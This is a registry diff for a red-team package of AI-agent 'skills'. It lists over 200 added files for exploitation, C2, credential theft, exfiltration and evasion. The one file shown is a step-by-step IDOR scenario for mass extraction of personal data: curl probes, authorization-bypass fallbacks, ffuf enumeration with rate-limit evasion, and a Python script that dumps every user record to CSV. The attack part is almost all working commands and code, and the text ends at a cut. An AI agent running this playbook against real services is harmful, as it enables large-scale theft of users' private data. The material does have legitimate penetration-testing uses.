rtexit-method 0.1.0 → 0.1.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (220) hide show
  1. package/package.json +2 -5
  2. package/packaged-assets/.agents/skills/rt-active-recon/SKILL.md +767 -0
  3. package/packaged-assets/.agents/skills/rt-active-recon/workflow.md +68 -0
  4. package/packaged-assets/.agents/skills/rt-agent-breaker/SKILL.md +65 -0
  5. package/packaged-assets/.agents/skills/rt-agent-breaker/customize.toml +76 -0
  6. package/packaged-assets/.agents/skills/rt-agent-commander/SKILL.md +63 -0
  7. package/packaged-assets/.agents/skills/rt-agent-commander/customize.toml +67 -0
  8. package/packaged-assets/.agents/skills/rt-agent-ghost/SKILL.md +65 -0
  9. package/packaged-assets/.agents/skills/rt-agent-ghost/customize.toml +77 -0
  10. package/packaged-assets/.agents/skills/rt-agent-navigator/SKILL.md +62 -0
  11. package/packaged-assets/.agents/skills/rt-agent-navigator/customize.toml +61 -0
  12. package/packaged-assets/.agents/skills/rt-agent-phantom/SKILL.md +62 -0
  13. package/packaged-assets/.agents/skills/rt-agent-phantom/customize.toml +62 -0
  14. package/packaged-assets/.agents/skills/rt-agent-scout/SKILL.md +62 -0
  15. package/packaged-assets/.agents/skills/rt-agent-scout/customize.toml +61 -0
  16. package/packaged-assets/.agents/skills/rt-agent-scribe/SKILL.md +65 -0
  17. package/packaged-assets/.agents/skills/rt-agent-scribe/customize.toml +77 -0
  18. package/packaged-assets/.agents/skills/rt-attack-chain-builder/SKILL.md +476 -0
  19. package/packaged-assets/.agents/skills/rt-attack-chain-builder/workflow.md +68 -0
  20. package/packaged-assets/.agents/skills/rt-attack-surface-map/SKILL.md +1209 -0
  21. package/packaged-assets/.agents/skills/rt-attack-surface-map/template.md +62 -0
  22. package/packaged-assets/.agents/skills/rt-autodoc/SKILL.md +258 -0
  23. package/packaged-assets/.agents/skills/rt-c2-operations/SKILL.md +1072 -0
  24. package/packaged-assets/.agents/skills/rt-c2-operations/workflow.md +68 -0
  25. package/packaged-assets/.agents/skills/rt-compliance-mapper/SKILL.md +773 -0
  26. package/packaged-assets/.agents/skills/rt-create-sead/SKILL.md +74 -0
  27. package/packaged-assets/.agents/skills/rt-create-sead/template.md +89 -0
  28. package/packaged-assets/.agents/skills/rt-create-sead/workflow.md +68 -0
  29. package/packaged-assets/.agents/skills/rt-credential-access/SKILL.md +756 -0
  30. package/packaged-assets/.agents/skills/rt-credential-hunt/SKILL.md +856 -0
  31. package/packaged-assets/.agents/skills/rt-credential-hunt/workflow.md +68 -0
  32. package/packaged-assets/.agents/skills/rt-cvss-calculator/SKILL.md +542 -0
  33. package/packaged-assets/.agents/skills/rt-cvss-calculator/cvss4-matrix.csv +20 -0
  34. package/packaged-assets/.agents/skills/rt-data-exfiltration/SKILL.md +784 -0
  35. package/packaged-assets/.agents/skills/rt-defense-evasion/SKILL.md +987 -0
  36. package/packaged-assets/.agents/skills/rt-evidence-chain/SKILL.md +712 -0
  37. package/packaged-assets/.agents/skills/rt-evidence-chain/template.md +31 -0
  38. package/packaged-assets/.agents/skills/rt-executive-report/SKILL.md +718 -0
  39. package/packaged-assets/.agents/skills/rt-executive-report/template.md +38 -0
  40. package/packaged-assets/.agents/skills/rt-executive-report/workflow.md +68 -0
  41. package/packaged-assets/.agents/skills/rt-exploit-active-directory/SKILL.md +1078 -0
  42. package/packaged-assets/.agents/skills/rt-exploit-active-directory/ad-checklist.csv +12 -0
  43. package/packaged-assets/.agents/skills/rt-exploit-active-directory/workflow.md +68 -0
  44. package/packaged-assets/.agents/skills/rt-exploit-android/SKILL.md +1329 -0
  45. package/packaged-assets/.agents/skills/rt-exploit-android/masvs-checklist.csv +10 -0
  46. package/packaged-assets/.agents/skills/rt-exploit-android/workflow.md +68 -0
  47. package/packaged-assets/.agents/skills/rt-exploit-api/SKILL.md +1547 -0
  48. package/packaged-assets/.agents/skills/rt-exploit-api/workflow.md +68 -0
  49. package/packaged-assets/.agents/skills/rt-exploit-auth/SKILL.md +1949 -0
  50. package/packaged-assets/.agents/skills/rt-exploit-auth/workflow.md +68 -0
  51. package/packaged-assets/.agents/skills/rt-exploit-bec/SKILL.md +69 -0
  52. package/packaged-assets/.agents/skills/rt-exploit-cloud-aws/SKILL.md +865 -0
  53. package/packaged-assets/.agents/skills/rt-exploit-cloud-aws/workflow.md +68 -0
  54. package/packaged-assets/.agents/skills/rt-exploit-cloud-azure/SKILL.md +1258 -0
  55. package/packaged-assets/.agents/skills/rt-exploit-cloud-gcp/SKILL.md +981 -0
  56. package/packaged-assets/.agents/skills/rt-exploit-containers/SKILL.md +55 -0
  57. package/packaged-assets/.agents/skills/rt-exploit-databases/SKILL.md +1374 -0
  58. package/packaged-assets/.agents/skills/rt-exploit-desktop-mac/SKILL.md +834 -0
  59. package/packaged-assets/.agents/skills/rt-exploit-desktop-win/SKILL.md +903 -0
  60. package/packaged-assets/.agents/skills/rt-exploit-desktop-win/workflow.md +68 -0
  61. package/packaged-assets/.agents/skills/rt-exploit-dotnet/SKILL.md +945 -0
  62. package/packaged-assets/.agents/skills/rt-exploit-elasticsearch/SKILL.md +68 -0
  63. package/packaged-assets/.agents/skills/rt-exploit-electron/SKILL.md +1023 -0
  64. package/packaged-assets/.agents/skills/rt-exploit-electron/workflow.md +68 -0
  65. package/packaged-assets/.agents/skills/rt-exploit-file-upload/SKILL.md +1576 -0
  66. package/packaged-assets/.agents/skills/rt-exploit-file-upload/payloads/README.md +4 -0
  67. package/packaged-assets/.agents/skills/rt-exploit-file-upload/workflow.md +68 -0
  68. package/packaged-assets/.agents/skills/rt-exploit-firebase/SKILL.md +54 -0
  69. package/packaged-assets/.agents/skills/rt-exploit-frameworks/SKILL.md +967 -0
  70. package/packaged-assets/.agents/skills/rt-exploit-idor/SKILL.md +1693 -0
  71. package/packaged-assets/.agents/skills/rt-exploit-idor/workflow.md +68 -0
  72. package/packaged-assets/.agents/skills/rt-exploit-injection/SKILL.md +1860 -0
  73. package/packaged-assets/.agents/skills/rt-exploit-injection/payloads/sqlmap-tampers.txt +22 -0
  74. package/packaged-assets/.agents/skills/rt-exploit-injection/workflow.md +68 -0
  75. package/packaged-assets/.agents/skills/rt-exploit-ios/SKILL.md +1214 -0
  76. package/packaged-assets/.agents/skills/rt-exploit-ios/workflow.md +68 -0
  77. package/packaged-assets/.agents/skills/rt-exploit-iot/SKILL.md +91 -0
  78. package/packaged-assets/.agents/skills/rt-exploit-iot/workflow.md +68 -0
  79. package/packaged-assets/.agents/skills/rt-exploit-java/SKILL.md +1009 -0
  80. package/packaged-assets/.agents/skills/rt-exploit-jwt/SKILL.md +1327 -0
  81. package/packaged-assets/.agents/skills/rt-exploit-jwt/workflow.md +68 -0
  82. package/packaged-assets/.agents/skills/rt-exploit-mongodb/SKILL.md +67 -0
  83. package/packaged-assets/.agents/skills/rt-exploit-mssql/SKILL.md +52 -0
  84. package/packaged-assets/.agents/skills/rt-exploit-mysql/SKILL.md +53 -0
  85. package/packaged-assets/.agents/skills/rt-exploit-network/SKILL.md +118 -0
  86. package/packaged-assets/.agents/skills/rt-exploit-network/workflow.md +68 -0
  87. package/packaged-assets/.agents/skills/rt-exploit-nodejs/SKILL.md +852 -0
  88. package/packaged-assets/.agents/skills/rt-exploit-osticket/SKILL.md +63 -0
  89. package/packaged-assets/.agents/skills/rt-exploit-phishing/SKILL.md +173 -0
  90. package/packaged-assets/.agents/skills/rt-exploit-phishing/templates/README.md +4 -0
  91. package/packaged-assets/.agents/skills/rt-exploit-phishing/workflow.md +68 -0
  92. package/packaged-assets/.agents/skills/rt-exploit-php/SKILL.md +1119 -0
  93. package/packaged-assets/.agents/skills/rt-exploit-physical/SKILL.md +63 -0
  94. package/packaged-assets/.agents/skills/rt-exploit-physical/workflow.md +68 -0
  95. package/packaged-assets/.agents/skills/rt-exploit-postgresql/SKILL.md +67 -0
  96. package/packaged-assets/.agents/skills/rt-exploit-python/SKILL.md +986 -0
  97. package/packaged-assets/.agents/skills/rt-exploit-redis/SKILL.md +68 -0
  98. package/packaged-assets/.agents/skills/rt-exploit-ruby/SKILL.md +61 -0
  99. package/packaged-assets/.agents/skills/rt-exploit-scada/SKILL.md +1091 -0
  100. package/packaged-assets/.agents/skills/rt-exploit-ssrf/SKILL.md +1528 -0
  101. package/packaged-assets/.agents/skills/rt-exploit-ssrf/payloads.txt +23 -0
  102. package/packaged-assets/.agents/skills/rt-exploit-ssrf/workflow.md +68 -0
  103. package/packaged-assets/.agents/skills/rt-exploit-vishing/SKILL.md +121 -0
  104. package/packaged-assets/.agents/skills/rt-exploit-vishing/scripts.md +4 -0
  105. package/packaged-assets/.agents/skills/rt-exploit-web/SKILL.md +1902 -0
  106. package/packaged-assets/.agents/skills/rt-exploit-web/owasp-checklist.csv +14 -0
  107. package/packaged-assets/.agents/skills/rt-exploit-web/workflow.md +68 -0
  108. package/packaged-assets/.agents/skills/rt-exploit-wireless/SKILL.md +71 -0
  109. package/packaged-assets/.agents/skills/rt-exploit-wordpress/SKILL.md +1565 -0
  110. package/packaged-assets/.agents/skills/rt-exploit-wordpress/cves.csv +7 -0
  111. package/packaged-assets/.agents/skills/rt-exploit-wordpress/workflow.md +68 -0
  112. package/packaged-assets/.agents/skills/rt-exploit-xss/SKILL.md +1526 -0
  113. package/packaged-assets/.agents/skills/rt-exploit-xss/payloads.txt +18 -0
  114. package/packaged-assets/.agents/skills/rt-exploit-xss/workflow.md +68 -0
  115. package/packaged-assets/.agents/skills/rt-finding-document/SKILL.md +687 -0
  116. package/packaged-assets/.agents/skills/rt-finding-document/template.md +71 -0
  117. package/packaged-assets/.agents/skills/rt-finding-document/workflow.md +68 -0
  118. package/packaged-assets/.agents/skills/rt-finding-tracker/SKILL.md +216 -0
  119. package/packaged-assets/.agents/skills/rt-finding-tracker/workflow.md +68 -0
  120. package/packaged-assets/.agents/skills/rt-help/SKILL.md +292 -0
  121. package/packaged-assets/.agents/skills/rt-help/workflow.md +68 -0
  122. package/packaged-assets/.agents/skills/rt-js-analysis/SKILL.md +639 -0
  123. package/packaged-assets/.agents/skills/rt-js-analysis/patterns.txt +27 -0
  124. package/packaged-assets/.agents/skills/rt-js-analysis/workflow.md +68 -0
  125. package/packaged-assets/.agents/skills/rt-kill-chain-map/SKILL.md +393 -0
  126. package/packaged-assets/.agents/skills/rt-lateral-movement/SKILL.md +1032 -0
  127. package/packaged-assets/.agents/skills/rt-lateral-movement/workflow.md +68 -0
  128. package/packaged-assets/.agents/skills/rt-methodology-selector/SKILL.md +69 -0
  129. package/packaged-assets/.agents/skills/rt-methodology-selector/frameworks.csv +10 -0
  130. package/packaged-assets/.agents/skills/rt-methodology-selector/workflow.md +68 -0
  131. package/packaged-assets/.agents/skills/rt-mitre-map/SKILL.md +668 -0
  132. package/packaged-assets/.agents/skills/rt-mitre-map/tactics.csv +16 -0
  133. package/packaged-assets/.agents/skills/rt-mitre-map/workflow.md +68 -0
  134. package/packaged-assets/.agents/skills/rt-osint/SKILL.md +775 -0
  135. package/packaged-assets/.agents/skills/rt-osint/osint-sources.csv +12 -0
  136. package/packaged-assets/.agents/skills/rt-osint/workflow.md +68 -0
  137. package/packaged-assets/.agents/skills/rt-party-mode/SKILL.md +249 -0
  138. package/packaged-assets/.agents/skills/rt-party-mode/workflow.md +68 -0
  139. package/packaged-assets/.agents/skills/rt-persistence/SKILL.md +1146 -0
  140. package/packaged-assets/.agents/skills/rt-persistence/workflow.md +68 -0
  141. package/packaged-assets/.agents/skills/rt-poc-writer/SKILL.md +640 -0
  142. package/packaged-assets/.agents/skills/rt-post-exploitation/SKILL.md +998 -0
  143. package/packaged-assets/.agents/skills/rt-post-exploitation/linux-checklist.csv +10 -0
  144. package/packaged-assets/.agents/skills/rt-post-exploitation/windows-checklist.csv +10 -0
  145. package/packaged-assets/.agents/skills/rt-post-exploitation/workflow.md +68 -0
  146. package/packaged-assets/.agents/skills/rt-privilege-escalation/SKILL.md +1027 -0
  147. package/packaged-assets/.agents/skills/rt-privilege-escalation/linux-checklist.csv +10 -0
  148. package/packaged-assets/.agents/skills/rt-privilege-escalation/win-checklist.csv +10 -0
  149. package/packaged-assets/.agents/skills/rt-privilege-escalation/workflow.md +68 -0
  150. package/packaged-assets/.agents/skills/rt-remediation-roadmap/SKILL.md +665 -0
  151. package/packaged-assets/.agents/skills/rt-remediation-roadmap/template.md +28 -0
  152. package/packaged-assets/.agents/skills/rt-risk-matrix/SKILL.md +232 -0
  153. package/packaged-assets/.agents/skills/rt-rules-of-engagement/SKILL.md +62 -0
  154. package/packaged-assets/.agents/skills/rt-rules-of-engagement/workflow.md +68 -0
  155. package/packaged-assets/.agents/skills/rt-scenario-c001/SKILL.md +71 -0
  156. package/packaged-assets/.agents/skills/rt-scenario-c002/SKILL.md +69 -0
  157. package/packaged-assets/.agents/skills/rt-scenario-c003/SKILL.md +71 -0
  158. package/packaged-assets/.agents/skills/rt-scenario-c004/SKILL.md +71 -0
  159. package/packaged-assets/.agents/skills/rt-scenario-c005/SKILL.md +72 -0
  160. package/packaged-assets/.agents/skills/rt-scenario-d001/SKILL.md +378 -0
  161. package/packaged-assets/.agents/skills/rt-scenario-d002/SKILL.md +392 -0
  162. package/packaged-assets/.agents/skills/rt-scenario-d003/SKILL.md +522 -0
  163. package/packaged-assets/.agents/skills/rt-scenario-d004/SKILL.md +373 -0
  164. package/packaged-assets/.agents/skills/rt-scenario-d005/SKILL.md +458 -0
  165. package/packaged-assets/.agents/skills/rt-scenario-library/SKILL.md +292 -0
  166. package/packaged-assets/.agents/skills/rt-scenario-library/scenarios.csv +32 -0
  167. package/packaged-assets/.agents/skills/rt-scenario-m001/SKILL.md +796 -0
  168. package/packaged-assets/.agents/skills/rt-scenario-m002/SKILL.md +723 -0
  169. package/packaged-assets/.agents/skills/rt-scenario-m003/SKILL.md +463 -0
  170. package/packaged-assets/.agents/skills/rt-scenario-m004/SKILL.md +449 -0
  171. package/packaged-assets/.agents/skills/rt-scenario-m005/SKILL.md +505 -0
  172. package/packaged-assets/.agents/skills/rt-scenario-n001/SKILL.md +573 -0
  173. package/packaged-assets/.agents/skills/rt-scenario-n002/SKILL.md +112 -0
  174. package/packaged-assets/.agents/skills/rt-scenario-n003/SKILL.md +100 -0
  175. package/packaged-assets/.agents/skills/rt-scenario-n004/SKILL.md +90 -0
  176. package/packaged-assets/.agents/skills/rt-scenario-n005/SKILL.md +71 -0
  177. package/packaged-assets/.agents/skills/rt-scenario-w001/SKILL.md +635 -0
  178. package/packaged-assets/.agents/skills/rt-scenario-w002/SKILL.md +612 -0
  179. package/packaged-assets/.agents/skills/rt-scenario-w003/SKILL.md +449 -0
  180. package/packaged-assets/.agents/skills/rt-scenario-w004/SKILL.md +648 -0
  181. package/packaged-assets/.agents/skills/rt-scenario-w005/SKILL.md +479 -0
  182. package/packaged-assets/.agents/skills/rt-scenario-w006/SKILL.md +443 -0
  183. package/packaged-assets/.agents/skills/rt-scenario-w007/SKILL.md +494 -0
  184. package/packaged-assets/.agents/skills/rt-scenario-w008/SKILL.md +576 -0
  185. package/packaged-assets/.agents/skills/rt-scenario-w009/SKILL.md +518 -0
  186. package/packaged-assets/.agents/skills/rt-scenario-w010/SKILL.md +574 -0
  187. package/packaged-assets/.agents/skills/rt-scope-definition/SKILL.md +79 -0
  188. package/packaged-assets/.agents/skills/rt-scope-definition/workflow.md +68 -0
  189. package/packaged-assets/.agents/skills/rt-shodan-recon/SKILL.md +880 -0
  190. package/packaged-assets/.agents/skills/rt-status/SKILL.md +64 -0
  191. package/packaged-assets/.agents/skills/rt-subdomain-enum/SKILL.md +906 -0
  192. package/packaged-assets/.agents/skills/rt-subdomain-enum/workflow.md +68 -0
  193. package/packaged-assets/.agents/skills/rt-technical-report/SKILL.md +710 -0
  194. package/packaged-assets/.agents/skills/rt-technical-report/template.md +41 -0
  195. package/packaged-assets/.agents/skills/rt-technical-report/workflow.md +68 -0
  196. package/packaged-assets/.agents/skills/rt-threat-model/SKILL.md +59 -0
  197. package/packaged-assets/.agents/skills/rt-threat-model/template.md +32 -0
  198. package/packaged-assets/.agents/skills/rt-threat-model/workflow.md +68 -0
  199. package/packaged-assets/.agents/skills/rt-timeline/SKILL.md +338 -0
  200. package/packaged-assets/RTEXIT.md +127 -0
  201. package/tools/installer/lib/asset-manifest.js +10 -5
  202. package/tools/installer/lib/copy-assets.js +5 -2
  203. /package/{_rtexit → packaged-assets/_rtexit}/config.toml +0 -0
  204. /package/{_rtexit → packaged-assets/_rtexit}/config.user.toml +0 -0
  205. /package/{_rtexit → packaged-assets/_rtexit}/custom/config.toml +0 -0
  206. /package/{_rtexit → packaged-assets/_rtexit}/scripts/autodoc_engine.py +0 -0
  207. /package/{_rtexit → packaged-assets/_rtexit}/scripts/finding_tracker.py +0 -0
  208. /package/{_rtexit → packaged-assets/_rtexit}/scripts/resolve_config.py +0 -0
  209. /package/{_rtexit → packaged-assets/_rtexit}/scripts/resolve_customization.py +0 -0
  210. /package/{resources → packaged-assets/resources}/certifications.md +0 -0
  211. /package/{resources → packaged-assets/resources}/payloads.md +0 -0
  212. /package/{resources → packaged-assets/resources}/tools.md +0 -0
  213. /package/{resources → packaged-assets/resources}/wordlists.md +0 -0
  214. /package/{templates → packaged-assets/templates}/attack-chain-template.md +0 -0
  215. /package/{templates → packaged-assets/templates}/executive-report-template.md +0 -0
  216. /package/{templates → packaged-assets/templates}/executive-report.md +0 -0
  217. /package/{templates → packaged-assets/templates}/finding-template.md +0 -0
  218. /package/{templates → packaged-assets/templates}/remediation-roadmap.md +0 -0
  219. /package/{templates → packaged-assets/templates}/sead-template.md +0 -0
  220. /package/{templates → packaged-assets/templates}/technical-report.md +0 -0
@@ -0,0 +1,443 @@
1
+ ---
2
+ name: rt-scenario-w006
3
+ description: "W-006: IDOR → Mass PII Exfiltration. Domain: web. Attack chain: find user profile endpoint → change user ID parameter → enumerate all user IDs → extract full user database. MITRE: T1190 → T1530 → T1119. Real example: GET /api/users/123 → change to 124, 125... → ffuf automation → full user database extracted"
4
+ ---
5
+
6
+ # W-006: IDOR → Mass PII Exfiltration
7
+
8
+ ## Overview
9
+
10
+ | Property | Value |
11
+ |---|---|
12
+ | Attack Objective | Enumerate all user accounts and extract PII (names, emails, phone numbers, addresses, tokens) by exploiting missing authorization checks on a user profile API endpoint |
13
+ | Required Access Level | None (unauthenticated) or Low (valid account at any privilege level) |
14
+ | Estimated Time to Execute | 15–90 minutes depending on user base size and rate limiting |
15
+ | Detection Risk Level | Medium (sequential ID enumeration is detectable; UUID enumeration or slow-rate attacks reduce risk) |
16
+
17
+ ### Attack Objective Detail
18
+
19
+ An API endpoint returns user profile data keyed by a numeric or sequential ID parameter. The server performs no authorization check to verify that the requesting user owns or is permitted to access the requested record. An attacker iterates over all valid ID values, collecting every user record returned, resulting in a full copy of the user database being exfiltrated without any privileged access.
20
+
21
+ ---
22
+
23
+ ## Prerequisites
24
+
25
+ ### Required Tools
26
+
27
+ | Tool | Purpose | Install Command |
28
+ |---|---|---|
29
+ | `curl` | Manual request validation | Pre-installed on Linux/macOS; `winget install curl` on Windows |
30
+ | `ffuf` | Fast fuzzing / enumeration automation | `go install github.com/ffuf/ffuf/v2@latest` or `apt install ffuf` |
31
+ | `jq` | JSON parsing and field extraction | `apt install jq` / `brew install jq` |
32
+ | `python3` | Custom enumeration scripts and data processing | Pre-installed; `apt install python3` |
33
+ | `Burp Suite` | Intercept requests, identify endpoint, confirm vulnerability | Community: free at portswigger.net |
34
+ | `httpx` | Probe endpoints for live response filtering | `go install github.com/projectdiscovery/httpx/cmd/httpx@latest` |
35
+
36
+ ### Required Access or Conditions
37
+
38
+ - A valid session token or API key is helpful but not always required (some endpoints are unauthenticated)
39
+ - Scope authorization covering the target domain and API endpoints
40
+ - Network access to the target application
41
+ - A known or discovered user profile endpoint (e.g., from browsing the application while authenticated)
42
+
43
+ ### Skill Level
44
+
45
+ **BEGINNER** — IDOR exploitation requires no advanced exploitation knowledge. The core technique is changing a parameter value and observing whether unauthorized data is returned. Automation with ffuf is straightforward once the endpoint pattern is confirmed.
46
+
47
+ ---
48
+
49
+ ## Attack Chain
50
+
51
+ ```
52
+ [Initial Access / Recon]
53
+ |
54
+ v
55
+ T1190 - Exploit Public-Facing Application
56
+ Find user profile API endpoint via browsing, JS analysis, or API docs
57
+ |
58
+ v
59
+ T1530 - Data from Cloud Storage / API Object Access
60
+ Change user ID parameter: GET /api/users/123 → /api/users/124
61
+ Confirm unauthorized data returned (different user's PII)
62
+ |
63
+ v
64
+ T1119 - Automated Collection
65
+ Automate enumeration with ffuf or custom Python script
66
+ Iterate all IDs from 1 to N, collect all valid responses
67
+ Parse and store extracted PII (name, email, phone, address, tokens)
68
+ |
69
+ v
70
+ [Full User Database Extracted]
71
+ ```
72
+
73
+ ### MITRE ATT&CK Chain
74
+
75
+ | Phase | Tactic | Technique | Description |
76
+ |---|---|---|---|
77
+ | 1 | Initial Access | T1190 | Exploit public-facing application to identify vulnerable API endpoint |
78
+ | 2 | Collection | T1530 | Access object-level data by manipulating user ID parameter |
79
+ | 3 | Collection | T1119 | Automate enumeration to collect data at scale |
80
+
81
+ ---
82
+
83
+ ## Step-by-Step Execution
84
+
85
+ ### Step 1 — Identify the User Profile Endpoint
86
+
87
+ Browse the target application while authenticated with a test account. Use Burp Suite to capture all requests.
88
+
89
+ Look for patterns such as:
90
+ - `GET /api/users/123`
91
+ - `GET /api/v1/profile?user_id=456`
92
+ - `GET /users/789/details`
93
+ - `GET /account/info?id=321`
94
+
95
+ **Command — inspect Burp HTTP history or search JS bundles for API paths:**
96
+
97
+ ```bash
98
+ # Extract API paths from JavaScript files (run against a downloaded copy or through Burp)
99
+ grep -rE '"/api/users/|/profile\?user_id=|/account/info\?id=' /path/to/js/files/
100
+
101
+ # Or use curl to view your own profile and note the ID in the URL or response
102
+ curl -s -H "Authorization: Bearer YOUR_TOKEN" \
103
+ https://target.example.com/api/users/123 | jq .
104
+ ```
105
+
106
+ **Expected output:**
107
+ ```json
108
+ {
109
+ "id": 123,
110
+ "name": "Test User",
111
+ "email": "test@example.com",
112
+ "phone": "+1-555-0100",
113
+ "address": "123 Test St",
114
+ "role": "user"
115
+ }
116
+ ```
117
+
118
+ **Fallback if step fails:**
119
+ - Check the application's Swagger/OpenAPI docs at `/api/docs`, `/swagger.json`, or `/openapi.yaml`
120
+ - Search response bodies for `user_id`, `userId`, or `account_id` fields that reveal the ID format
121
+ - Check mobile app APK/IPA for hardcoded API routes using `apktool` or `strings`
122
+
123
+ ---
124
+
125
+ ### Step 2 — Confirm the IDOR Vulnerability Manually
126
+
127
+ Change the ID value to an adjacent integer and verify a different user's data is returned without any authorization error.
128
+
129
+ ```bash
130
+ # Your own profile (baseline)
131
+ curl -s -H "Authorization: Bearer YOUR_TOKEN" \
132
+ https://target.example.com/api/users/123 | jq '{id:.id, name:.name, email:.email}'
133
+
134
+ # Adjacent ID — should belong to a different user
135
+ curl -s -H "Authorization: Bearer YOUR_TOKEN" \
136
+ https://target.example.com/api/users/124 | jq '{id:.id, name:.name, email:.email}'
137
+
138
+ # Try an ID far from yours to rule out coincidence
139
+ curl -s -H "Authorization: Bearer YOUR_TOKEN" \
140
+ https://target.example.com/api/users/500 | jq '{id:.id, name:.name, email:.email}'
141
+ ```
142
+
143
+ **Expected output (IDOR confirmed):**
144
+ ```json
145
+ { "id": 124, "name": "Alice Johnson", "email": "alice.j@example.com" }
146
+ { "id": 500, "name": "Bob Martinez", "email": "b.martinez@example.com" }
147
+ ```
148
+
149
+ **Expected output (NOT vulnerable — proper access control):**
150
+ ```json
151
+ { "error": "Forbidden", "message": "You do not have access to this resource" }
152
+ ```
153
+
154
+ **Fallback if authorization error is returned:**
155
+ - Try removing the Authorization header entirely (unauthenticated access)
156
+ - Try changing the `Content-Type` to `application/xml` or `text/plain`
157
+ - Try HTTP verb tampering: use `POST`, `PUT`, or `HEAD` instead of `GET`
158
+ - Check if a secondary parameter controls access: `?admin=false` → `?admin=true`
159
+
160
+ ---
161
+
162
+ ### Step 3 — Determine the ID Range
163
+
164
+ Identify the minimum and maximum valid user IDs to scope the enumeration.
165
+
166
+ ```bash
167
+ # Try ID 1 (likely an admin or first registered user)
168
+ curl -s -H "Authorization: Bearer YOUR_TOKEN" \
169
+ https://target.example.com/api/users/1 | jq '{id:.id, name:.name}'
170
+
171
+ # Try a high ID to find the upper boundary (binary search)
172
+ curl -s -H "Authorization: Bearer YOUR_TOKEN" \
173
+ https://target.example.com/api/users/100000 | jq .
174
+
175
+ # 404 or empty response indicates ID does not exist — narrow down with binary search
176
+ # Try 50000, then 10000, then 5000, etc. until you find the last valid ID
177
+ ```
178
+
179
+ **Expected output:**
180
+ ```
181
+ ID 1: { "id": 1, "name": "System Admin", "email": "admin@example.com" }
182
+ ID 10000: { "id": 10000, "name": "Recent User", "email": "user10k@example.com" }
183
+ ID 15000: 404 Not Found ← upper boundary is between 10000 and 15000
184
+ ```
185
+
186
+ ---
187
+
188
+ ### Step 4 — Automate Enumeration with ffuf
189
+
190
+ Generate a wordlist of IDs and use ffuf to enumerate all valid user records.
191
+
192
+ ```bash
193
+ # Generate numeric wordlist for IDs 1 through 10000
194
+ seq 1 10000 > /tmp/user_ids.txt
195
+
196
+ # Run ffuf against the endpoint, filter out 404 responses
197
+ ffuf -u https://target.example.com/api/users/FUZZ \
198
+ -w /tmp/user_ids.txt \
199
+ -H "Authorization: Bearer YOUR_TOKEN" \
200
+ -mc 200 \
201
+ -o /tmp/idor_results.json \
202
+ -of json \
203
+ -t 10 \
204
+ -rate 50
205
+
206
+ # -mc 200 : only capture HTTP 200 responses (valid user records)
207
+ # -t 10 : 10 concurrent threads (keep low to avoid rate limiting)
208
+ # -rate 50 : 50 requests/second maximum
209
+ # -o : save results to JSON file
210
+ ```
211
+
212
+ **Expected output (ffuf progress):**
213
+ ```
214
+ [Status: 200, Size: 312, Words: 28, Lines: 12] :: id => 1
215
+ [Status: 200, Size: 308, Words: 27, Lines: 12] :: id => 2
216
+ [Status: 200, Size: 315, Words: 29, Lines: 12] :: id => 3
217
+ ...
218
+ [INFO] 9,847 valid responses out of 10,000 requests
219
+ ```
220
+
221
+ **Fallback if rate limiting is detected (429 responses):**
222
+ ```bash
223
+ # Reduce rate and add delay between requests
224
+ ffuf -u https://target.example.com/api/users/FUZZ \
225
+ -w /tmp/user_ids.txt \
226
+ -H "Authorization: Bearer YOUR_TOKEN" \
227
+ -mc 200 \
228
+ -rate 5 \
229
+ -p 0.5 \
230
+ -o /tmp/idor_results_slow.json \
231
+ -of json
232
+ ```
233
+
234
+ ---
235
+
236
+ ### Step 5 — Extract PII from Results with Python
237
+
238
+ Parse the ffuf JSON output and extract all PII fields into a structured CSV.
239
+
240
+ ```python
241
+ #!/usr/bin/env python3
242
+ # save as /tmp/extract_pii.py
243
+
244
+ import json
245
+ import csv
246
+ import urllib.request
247
+ import sys
248
+
249
+ RESULTS_FILE = "/tmp/idor_results.json"
250
+ OUTPUT_CSV = "/tmp/extracted_users.csv"
251
+ TOKEN = "YOUR_TOKEN"
252
+ BASE_URL = "https://target.example.com/api/users/"
253
+
254
+ # Load ffuf results to get list of valid IDs
255
+ with open(RESULTS_FILE) as f:
256
+ data = json.load(f)
257
+
258
+ valid_ids = [int(r["input"]["FUZZ"]) for r in data["results"]]
259
+ print(f"[*] Fetching {len(valid_ids)} user records...")
260
+
261
+ fields = ["id", "name", "email", "phone", "address", "role", "created_at"]
262
+
263
+ with open(OUTPUT_CSV, "w", newline="") as csvfile:
264
+ writer = csv.DictWriter(csvfile, fieldnames=fields, extrasaction="ignore")
265
+ writer.writeheader()
266
+
267
+ for uid in valid_ids:
268
+ req = urllib.request.Request(
269
+ BASE_URL + str(uid),
270
+ headers={"Authorization": f"Bearer {TOKEN}"}
271
+ )
272
+ try:
273
+ with urllib.request.urlopen(req, timeout=10) as resp:
274
+ user = json.loads(resp.read())
275
+ writer.writerow(user)
276
+ except Exception as e:
277
+ print(f"[-] Failed ID {uid}: {e}", file=sys.stderr)
278
+
279
+ print(f"[+] Extraction complete. Data saved to {OUTPUT_CSV}")
280
+ ```
281
+
282
+ ```bash
283
+ python3 /tmp/extract_pii.py
284
+ ```
285
+
286
+ **Expected output:**
287
+ ```
288
+ [*] Fetching 9847 user records...
289
+ [+] Extraction complete. Data saved to /tmp/extracted_users.csv
290
+
291
+ # Preview the extracted data
292
+ head -5 /tmp/extracted_users.csv
293
+ ```
294
+
295
+ ```
296
+ id,name,email,phone,address,role,created_at
297
+ 1,System Admin,admin@example.com,+1-555-0001,1 Corp Plaza,admin,2020-01-01
298
+ 2,Alice Johnson,alice.j@example.com,+1-555-0002,42 Elm St,user,2020-03-15
299
+ 3,Bob Martinez,b.martinez@example.com,+1-555-0003,7 Oak Ave,user,2020-03-16
300
+ ```
301
+
302
+ ---
303
+
304
+ ### Step 6 — Document Evidence
305
+
306
+ Capture clean evidence for the finding report.
307
+
308
+ ```bash
309
+ # Capture a single clean request/response pair for the report
310
+ curl -v -s \
311
+ -H "Authorization: Bearer YOUR_TOKEN" \
312
+ https://target.example.com/api/users/124 \
313
+ 2>&1 | tee /tmp/idor_evidence_request.txt
314
+
315
+ # Count total records extracted
316
+ wc -l /tmp/extracted_users.csv
317
+
318
+ # Show summary of PII fields present
319
+ head -1 /tmp/extracted_users.csv
320
+ ```
321
+
322
+ ---
323
+
324
+ ## Real-World Reference
325
+
326
+ This attack pattern directly mirrors the Optus breach (2022), the Twitter 5.4M user scrape (2022), and numerous HackerOne reports against major platforms.
327
+
328
+ **Canonical example:**
329
+
330
+ ```
331
+ # Authenticated request to your own profile
332
